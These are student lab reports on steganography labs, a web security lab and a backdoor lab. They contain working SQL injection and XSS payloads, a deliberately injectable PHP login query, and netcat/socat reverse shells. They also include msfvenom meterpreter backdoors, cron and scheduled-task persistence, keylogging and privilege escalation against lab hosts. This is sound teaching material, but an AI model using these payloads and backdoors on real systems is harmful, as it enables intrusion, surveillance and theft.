# 实验三：二值图像信息隐藏实验

## 实验目的
1. 理解二值图像信息隐藏的难点与基本原理，掌握图像块与游程编码两种方法。
2. 学会使用MATLAB进行图像处理，运行特定的隐写脚本。
3. 掌握基于黑白像素比例和游程长度奇偶性的信息嵌入与提取技巧。
4. 对比不同算法的视觉效果，评估信息隐藏对载体图像质量的影响。



## 实验内容
*   **二值图像分块隐藏实验**：运行`binhiding.m`脚本，将图像分块，通过修改块内黑白像素比例来嵌入秘密信息，观察图像视觉变化。
*   **游程编码隐藏实验**：运行`RLEhiding.m`脚本，利用二值图像游程长度的奇偶性编码信息，微调像素值以实现隐写。
*   **隐藏效果对比分析**：通过修改`hidden.txt`文件中的秘密信息内容，对比两种算法在不同数据量下的隐写效果和视觉失真度。

## 实验步骤
**步骤1：** 启动MATLAB并配置环境。在操作机桌面找到并双击“MATLAB R2014a”图标启动软件。在软件界面上方的地址栏中输入实验目录路径`D:\1、信息安全\4、信息内容安全\23信息隐藏课程\12.二值图像信息隐藏实验\hongya`，点击旁边的搜索按钮，将“当前文件夹”切换至指定目录。

**步骤2：** 执行分块法信息隐藏。在左侧“当前文件夹”栏中，找到并双击打开`binhiding.m`脚本文件。点击编辑器工具栏上的“运行”按钮。程序运行后，弹出结果显示窗口，展示了原始图像和经过分块隐藏后的伪装图像。仔细观察两幅图像，可以发现在隐藏信息后，图像在黑白交界处存在较为明显的噪点和痕迹，视觉效果受损较大。

**步骤3：** 执行游程编码法信息隐藏。在文件列表中找到`RLEhiding.m`脚本，双击打开并点击运行。程序弹出新的显示窗口，展示游程编码算法处理后的图像。对比观察发现，采用游程编码方法生成的伪装图像与原始载体图像在视觉上差别极小，几乎无法用肉眼察觉到修改痕迹，隐写效果优于分块法。

**步骤4：** 修改隐藏信息内容。为了进一步验证算法性能，打开实验主目录下的`hidden.txt`文件。将文件中的秘密信息修改为“0123456789”并保存。这一步增加了需要隐藏的信息容量，以便观察算法在处理不同长度数据时的表现。

**步骤5：** 验证修改后的效果。再次运行`RLEhiding.m`脚本，将新的秘密信息嵌入图像。观察输出结果，确认即使隐藏了更长的数字串，图像依然保持了良好的视觉效果，没有出现明显的分块痕迹。这验证了游程编码方法在二值图像隐写中具有较好的隐蔽性和较大的信息容量。

## 实验分析
**实验结果：** 实验对比了两种二值图像信息隐藏算法。分块法虽然实现了信息嵌入，但由于强制修改像素颜色以满足黑白比例，导致图像产生了明显的视觉失真，破坏了载体的真实感。而游程编码法通过调整游程长度的奇偶性来嵌入信息“0123456789”，成功地在保持图像视觉质量不变的情况下完成了隐写，提取出的秘密信息准确无误。

**个人收获：** 通过本次实验，我掌握了MATLAB在图像隐写中的应用，熟悉了`binhiding.m`和`RLEhiding.m`脚本的运行机制。我深刻理解了二值图像由于只有黑白两色，冗余度极低，因此对隐藏算法的要求很高。游程编码利用像素的连续性特征进行微调，比简单的分块修改更具优越性。这次实验不仅提升了我的实操能力，也让我对信息隐藏中“不可感知性”这一核心要求有了更直观的认识。

 实验三： 二值图像信息隐藏实验

# 实验二：MP3信息隐藏实验

## 实验目的
1. 理解音频信息隐藏的基本原理，掌握MP3Stego工具的工作机制。
2. 学会利用MP3压缩过程中的量化误差进行信息的嵌入与提取。
3. 熟练掌握命令行操作，使用Encode和Decode指令完成音频隐写。
4. 分析音频载体在信息隐藏前后的音质变化，验证隐写的不可感知性。



## 实验内容
*   **MP3Stego工具环境配置**：进入实验目录下的MP3Stego文件夹，利用Shift+右键快捷方式打开CMD命令行窗口，准备好载体音频文件（WAV格式）和秘密信息文本文件。
*   **音频信息隐藏操作**：使用Encode命令，在将WAV文件压缩为MP3的过程中，通过调节量化误差的奇偶性，将加密后的秘密信息嵌入到MP3比特流中。
*   **隐藏信息提取验证**：使用Decode命令，配合正确的解密密钥，从生成的携密MP3文件中分离出隐藏的文本数据，并将其还原为可读信息。

## 实验步骤
**步骤1：** 配置MP3Stego工具环境。打开操作机，进入实验主目录`D:\1、信息安全\4、信息内容安全\23信息隐藏课程\7.MP3信息隐藏实验\tools\MP3Stego\MP3Stego`。在文件夹空白处按住Shift键并点击鼠标右键，在弹出的菜单中选择“在此处打开命令窗口”，以此启动CMD界面，确保当前路径指向工具所在目录。

**步骤2：** 准备并放置实验文件。检查当前目录下是否包含`encode.exe`、`decode.exe`以及实验所需的载体文件`51elab.wav`和秘密信息文件`hidden_text.txt`。根据实验要求，秘密信息文件的内容为“Hello world!”。确认文件无误后，准备执行嵌入操作。

**步骤3：** 执行MP3信息隐藏。在CMD窗口中输入编码命令：`Encode -E hidden_text.txt 51elab.wav 51elabout.mp3`。按下回车键后，系统提示输入密码。在此输入设定的密钥`123456`并确认。工具开始处理音频，将文本信息嵌入并生成新的MP3文件。观察输出信息，确认比特率为128kbps，处理完成后，目录下生成了`51elabout.mp3`文件。

**步骤4：** 提取隐藏的文本信息。在同一个CMD窗口中，输入解码命令：`Decode -X 51elabout.mp3`。系统再次提示输入密码，此时必须输入与加密时完全一致的密钥`123456`。按下回车后，工具开始解析MP3文件，根据量化误差的奇偶性提取隐藏的数据流。

**步骤5：** 验证提取结果。解码完成后，返回实验主目录文件夹。观察发现生成了两个新文件：`51elabout.mp3.txt`和`51elabout.mp3.pcm`。双击打开文本文件`51elabout.mp3.txt`，将其内容与原始的`hidden_text.txt`进行对比。验证显示，提取出的内容为“Hello world!”，与原始秘密信息完全一致，证明信息隐藏与提取过程成功。

## 实验分析
**实验结果：** 本次实验成功利用MP3Stego工具实现了音频信息隐藏。通过执行Encode命令，文本信息被嵌入到WAV音频压缩生成的MP3文件中，生成的MP3文件在听觉上与原音频无明显差异，保持了良好的隐蔽性。使用Decode命令并输入正确密钥后，成功提取出文本文件，且内容与原始信息“Hello world!”完全一致，验证了算法的准确性和密钥验证机制的有效性。

**个人收获：** 通过实验，我深入理解了量化编码信息隐藏的原理，特别是如何利用MP3压缩过程中的量化误差来承载秘密信息。我掌握了MP3Stego工具的命令行操作方法，熟悉了Encode和Decode指令的具体参数及使用流程。同时，我认识到密钥在信息隐藏系统中的核心作用，只有密钥匹配才能还原信息，这增强了我对音频隐写技术安全性和隐蔽性的认知。

实验二：MP3信息隐藏实验

# 实验一：LSB图像信息隐藏实验

## 实验目的
1. 理解信息隐藏技术的基本概念与原理，掌握信息嵌入和提取的流程。
2. 熟练掌握MATLAB软件的基本操作，学会利用MATLAB进行图像读取与处理。
3. 深入理解LSB（最低有效位）算法的原理，掌握其在图像隐写中的应用方法。
4. 通过实验验证LSB算法的隐蔽性，观察并分析其对载体图像质量的影响。



## 实验内容
*   **MATLAB环境准备与配置**：启动MATLAB R2014a，将当前工作目录切换至LSB实验文件夹，查看脚本文件功能。
*   **LSB信息隐藏与提取操作**：运行`lsbmain.m`脚本，调用`LSB(c,m,n)`函数，将秘密信息嵌入载体图像最低1层，生成伪装图像并提取秘密信息。
*   **图像分层提取分析**：运行`submain.m`脚本，对指定图像进行分层提取，获取并分析图像最底层的二进制位平面信息。

## 实验步骤
**步骤1：** 启动MATLAB并配置实验环境。在Windows 7操作系统中，点击桌面上的“MATLAB R2014a”图标启动软件。在软件界面的地址栏中输入实验目录路径“D:\1、信息安全\4、信息内容安全\23信息隐藏课程\1.LSB图像信息隐藏实验\TOOLS\LSB”，点击搜索按钮进入文件夹。双击打开“readme.txt”文档，了解实验中各M文件的功能说明，确认`lsbmain.m`用于主流程，`submain.m`用于分层分析，为后续操作做好准备。

**步骤2：** 执行LSB图像信息隐藏与提取。在“当前文件夹”栏中双击打开“lsbmain.m”脚本文件，点击工具栏上的“运行”按钮。程序将执行LSB算法，核心调用了函数`LSB(c,m,1)`，其中参数c表示载体图像`main.tif`，m表示秘密信息`door.bmp`，n设置为1，表示在图像8位二进制结构的最低1层进行隐藏。程序运行后，弹出包含三张图片的窗口：左侧为原始载体图像，中间为隐藏信息后的伪装图像`inwatermarking.tif`，右侧为从伪装图像中提取出的秘密信息`watermaikingnew.tif`。通过观察，验证伪装图像与载体图像在视觉上无显著差异，且提取出的信息与原始秘密信息一致。

**步骤3：** 进行图像的分层提取处理。在左侧文件栏中找到并双击“submain.m”脚本，点击运行。该脚本的核心功能是对图像进行分层提取操作，以演示LSB算法修改的是图像的最低位。根据代码注释及考核内容，实验针对原始文件`im3`进行处理。程序利用位平面提取技术，将图像像素的十进制值转换为二进制，并分别提取出8个位平面的信息。通过对比观察提取出的最底层（第0位）图像，验证其呈现为类似噪声的杂乱纹理，这正是LSB算法通过修改该层来嵌入数据且不影响视觉效果的原理所在。

## 实验分析
**实验结果：** 本次实验通过MATLAB平台成功实现了基于LSB算法的图像信息隐藏。运行`lsbmain.m`后生成的伪装图像`inwatermarking.tif`与原始载体图像在视觉上几乎无法区分，充分验证了LSB算法的不可感知性。同时，从伪装图像中提取出的秘密信息与原始秘密信息完全一致，保证了信息的完整性。分层提取实验直观展示了图像位平面的结构，确认了秘密信息隐藏于最低位平面中。

**个人收获：** 通过本次实验，我深入理解了LSB算法利用人类视觉系统对低阶位变化不敏感的特性来实现隐写的技术原理。我不仅掌握了MATLAB的基本图像处理操作，更明白了信息隐藏与加密的区别。同时，我也认识到LSB算法虽然隐蔽性较好，但对图像处理操作（如压缩、滤波）非常敏感，鲁棒性较差，这在实际应用中需要综合考虑。

实验一：LSB图像信息隐藏实验

# 网络安全实验报告4

## 一、实验目的

1. 掌握Web前端开发基础，熟练运用HTML表单设计与JavaScript进行DOM操作及输入验证。
2. 熟悉Web后端数据库环境搭建，精通MySQL的安装、建库建表及用户权限配置。
3. 理解并掌握Web应用安全机制，能够编写PHP脚本连接数据库实现用户身份认证。
4. 深入理解SQL注入、XSS跨站脚本攻击及CSRF跨站请求伪造的攻击原理与防御思路。
5. 通过DVWA或WebGoat平台进行实战演练，提升对常见Web漏洞的挖掘与利用能力。



## 二、实验内容

1. **Web前端环境搭建**：在Kali Linux中安装并启动Apache服务，编写包含用户名和密码输入框的HTML登录表单，理解GET与POST方法的区别。
2. **前端脚本逻辑编写**：利用JavaScript实现对用户输入的非空校验与密码逻辑判断，并在登录成功后回显欢迎信息，同时尝试HTML与JavaScript注入攻击。
3. **后端数据库配置**：安装并启动MySQL服务，创建指定数据库与数据表，插入测试用户数据，并设置数据库用户的访问权限。
4. **后端认证逻辑实现**：编写PHP网页连接MySQL数据库，通过接收前端POST数据进行SQL查询，实现基于数据库的用户登录验证功能。
5. **安全漏洞实战测试**：在自建系统及WebGoat平台上，分别实施SQL注入万能密码攻击、XSS脚本弹窗攻击及CSRF伪造请求攻击，验证漏洞有效性。

## 三、实验步骤

**步骤1：Web前端环境搭建与表单制作。**
打开Kali终端，输入命令`systemctl start apache2`启动Apache服务。使用`vi /var/www/html/2427_test.html`创建文件，编写HTML代码，设置表单方法为POST，添加账号与密码输入框，ID分别为username和password，并设置一个onclick事件绑定login()函数的登录按钮。在浏览器访问`http://127.0.0.1/2427_test.html`验证页面显示正常。

**步骤2：JavaScript验证与注入测试。**
在HTML文件头部添加`<script>`标签，编写login()函数：获取输入值，若为空则弹窗提示；若密码不等于"20222427"则报错；否则使用`document.body.innerHTML`回显"Welcome"信息。在账号框输入`<h1>xwt</h1>`测试HTML注入，输入`<script>alert("xwt")</script>`测试JS注入。若后者无法执行，修改代码为`document.write()`，确认成功弹出警告框。

**步骤3：MySQL数据库的安装与配置。**
在终端输入`systemctl start mysql`启动数据库。执行`mysql -u root -p`登录，依次输入`create database 20222427xwt;`创建数据库，`use 20222427xwt;`切换数据库。执行`create table user (username VARCHAR(30),password VARCHAR(20));`建表，使用`insert into user values('xwt','20222427');`插入数据。最后执行`GRANT ALL PRIVILEGES ON 20222427xwt.* TO 'xwt'@'%';`并`FLUSH PRIVILEGES;`完成授权。

**步骤4：编写PHP后端连接数据库。**
使用`vi /var/www/html/2427.php`创建PHP文件。配置`$servername`为localhost，`$dbname`为20222427xwt。使用`new mysqli`建立连接，检查`connect_error`。获取POST参数，构建SQL语句`SELECT * FROM user WHERE username = '$username' AND password = '$password'`。执行查询，若`num_rows > 0`则输出“登陆成功”，否则输出错误。修改HTML表单action指向2427.php，输入用户名xwt和密码20222427验证认证成功。

**步骤5：SQL注入与XSS攻击测试。**
在自建登录框账号处输入`'or 1=1 #`，密码随意，成功登录显示欢迎信息，验证了SQL注入漏洞。在账号处输入`<script>alert("xss")</script>`，成功触发弹窗，验证了XSS漏洞。

**步骤6：WebGoat平台综合攻击。**
下载webgoat.jar并传入Kali，执行`java -jar webgoat-2023.8.jar`启动。访问`http://localhost:8080/WebGoat/login`。
*   **SQL注入**：进入SQL injection (Intro) -> 9，在last_name字段输入`Smith' or '1'='1`，构造永真式获取所有用户数据。
*   **XSS攻击**：进入Cross Site Scripting -> 7，输入`<script>alert("20222427XSS")</script>`，成功弹出提示框。
*   **CSRF攻击**：进入Cross-Site Request Forgeries -> 3，创建HTML文件CSRF_2427.html，编写表单action指向`http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag`。访问该HTML并点击提交，获取flag值35605，输入平台验证通过。

## 四、实验分析

**实验结果**
本次实验成功搭建了包含前端HTML/JS、后端PHP及MySQL数据库的完整Web应用系统。前端实现了输入验证与DOM操作，能够回显欢迎信息并响应HTML及JavaScript注入测试。后端成功连接数据库，依据查询结果实现了正确的用户身份判断。在漏洞测试环节，利用`'or 1=1 #`成功绕过自建系统的登录验证；在WebGoat平台上，通过构造特定的SQL语句、XSS脚本及伪造CSRF HTML请求，均触发了预期的攻击效果，成功获取了系统数据与Flag值，验证了各项漏洞的存在。

**个人收获**
通过本次实验，我不仅掌握了Web开发的全栈基础流程，更深刻理解了常见Web安全漏洞的底层原理。对于SQL注入，我明白了通过构造特殊闭合符号改变SQL逻辑的危险性，认识到了参数化查询的重要性。对于XSS，我清楚了它是如何利用浏览器对恶意脚本的信任执行攻击。对于CSRF，我理解了用户身份被隐式劫持的过程。这些实战经验让我意识到，在编写代码时必须严格过滤用户输入，对数据进行转义处理，从而构建更加安全的Web应用。

网络安全实验报告4

# 网络安全实验报告3

## 一、实验目的

1.  深入理解后门程序的概念及其在操作系统中的潜伏机制，明确后门与木马的异同。
2.  学习掌握Netcat和Socat等底层网络工具的使用，实现跨平台的主机Shell连接与控制。
3.  熟悉Metasploit Framework（MSF）平台，利用其生成可执行后门文件及Shellcode。
4.  掌握Linux下Cron服务和Windows下任务计划程序的配置方法，实现后门的持久化自启动。
5.  学习后门的高级功能应用，包括获取敏感信息（音频、摄像头、击键记录）及系统提权技术。



## 二、实验内容

1.  **Netcat与Cron后门利用**：利用Netcat工具在Windows与Linux之间建立双向Shell连接，并通过修改Linux的Cron配置文件，实现每分钟自动执行写入文件的任务。
2.  **Socat与任务计划配置**：使用Socat工具获取主机操作Shell，并通过Windows的schtasks命令创建任务计划，使特定程序（如Cygwin）能够周期性自动运行。
3.  **MSF后门生成与控制**：使用MSFvenom生成Windows平台的可执行后门文件，利用Socat将其传输至目标主机并运行，配合multi/handler模块建立反向TCP连接获取Meterpreter Shell。
4.  **后门高级功能与提权**：利用Meterpreter扩展功能，实现对目标主机音频的录制、摄像头截图、键盘输入记录及屏幕截取，并尝试使用getsystem命令进行权限提升。
5.  **Shellcode注入与反弹**：使用MSF生成Linux下的Shellcode，并将其注入到指定的可执行文件中，运行被注入的文件以建立反弹Shell连接。

## 三、实验步骤

**步骤1：实验环境准备**
配置Kali Linux（32位）与Windows 10（64位）两台虚拟机，查询IP分别为192.168.206.128和192.168.206.129。在Windows上关闭防火墙和实时防护，并安装好netcat与socat工具，确保两台主机可以互相Ping通。

**步骤2：使用Netcat获取Shell并配置Cron**
在Windows端运行命令`.\nc64.exe -l -p 2416`监听端口，在Linux端运行`ncat 192.168.206.129 2416 -e /bin/sh`连接，成功获取Linux Shell。随后在获取的Shell中输入命令`echo "* * * * * echo \"2023112113text\" > /home/kali/2023112113.txt" >/var/spool/cron/crontabs/root`，将周期性任务写入root文件。使用`crontab -l`查看配置，并重启crontab服务，验证每分钟自动生成文本文件成功。

**步骤3：使用Socat获取Shell并配置任务计划**
在Linux端运行`nc -l -p 2416`监听，在Windows端运行`socat.exe tcp-connect:192.168.206.129:2416 exec:cmd.exe,pty,stderr`反向连接Linux。成功获取Shell后，使用`schtasks /create /tn "2023112113test" /tr "程序路径" /sc minute`创建名为“2023112113test”的任务计划，设置每分钟运行一次。通过观察程序启动情况，验证任务计划执行成功。

**步骤4：使用MSF生成后门并获取Shell**
在Kali终端使用`msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f exe > 2023112113_backdoor.exe`生成后门文件。由于ncat传输存在问题，改用socat在Windows端监听接收文件。文件传输完成后，在Kali启动MSF控制台，配置`use exploit/multi/handler`，设置payload为`windows/meterpreter/reverse_tcp`，LHOST和LPORT分别为本机IP和2416端口。运行`exploit`开始监听，在Windows端运行后门文件，成功建立Meterpreter会话。

**步骤5：利用Meterpreter获取信息与提权**
在Meterpreter会话中，输入`record_mic`获取音频内容；输入`webcam_snap`尝试获取摄像头（因权限问题失败）；输入`keyscan_start`和`keyscan_dump`记录并读取Windows端的键盘输入；输入`screenshot`获取屏幕截图；输入`getsystem`尝试提权，最终成功获取SYSTEM权限，完成信息收集与提权操作。

**步骤6：MSF生成Shellcode并注入**
将之前的pwn1文件重命名为“2023112113pwnb”。使用命令`msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.206.128 LPORT=2416 -x /home/kali/Desktop/2023112113pwnb -f elf > 2023112113pwnb_injected`将Shellcode注入文件。开启MSF监听Linux反弹连接，在另一个终端运行注入后的文件，观察到MSF成功连接，输入`ls`和`ifconfig`验证可以执行命令并查看主机信息，实验完成。

## 四、实验分析

**实验结果**
本次实验成功搭建了Kali与Windows的攻防环境。利用Netcat和Socat均实现了跨平台的Shell获取，验证了底层网络工具的强大功能。通过Cron和Windows任务计划程序，成功实现了后门程序的持久化自启动。使用MSF生成的后门文件顺利绕过防护建立连接，并成功获取了目标主机的音频、键盘记录和屏幕截图等敏感数据，同时通过getsystem命令完成了从普通权限到SYSTEM权限的提升。最后，Shellcode注入实验也成功建立了反弹Shell，所有预定目标均达成。

**个人收获**
通过本次实验，我深刻理解了后门技术的原理与危害，特别是持久化机制（如计划任务）在实际攻击中的应用。我熟练掌握了MSF框架中msfvenom和exploit/multi/handler的配合使用，体会到了自动化攻击工具的高效性。在实验过程中，遇到防火墙阻断、文件传输损坏（ncat问题）以及依赖库缺失（socat需cygwin）等问题，通过查阅资料和调试解决，极大地锻炼了我的排错能力和对网络底层传输细节的理解。这次实验不仅提升了技术技能，也让我更加意识到系统安全防护的重要性。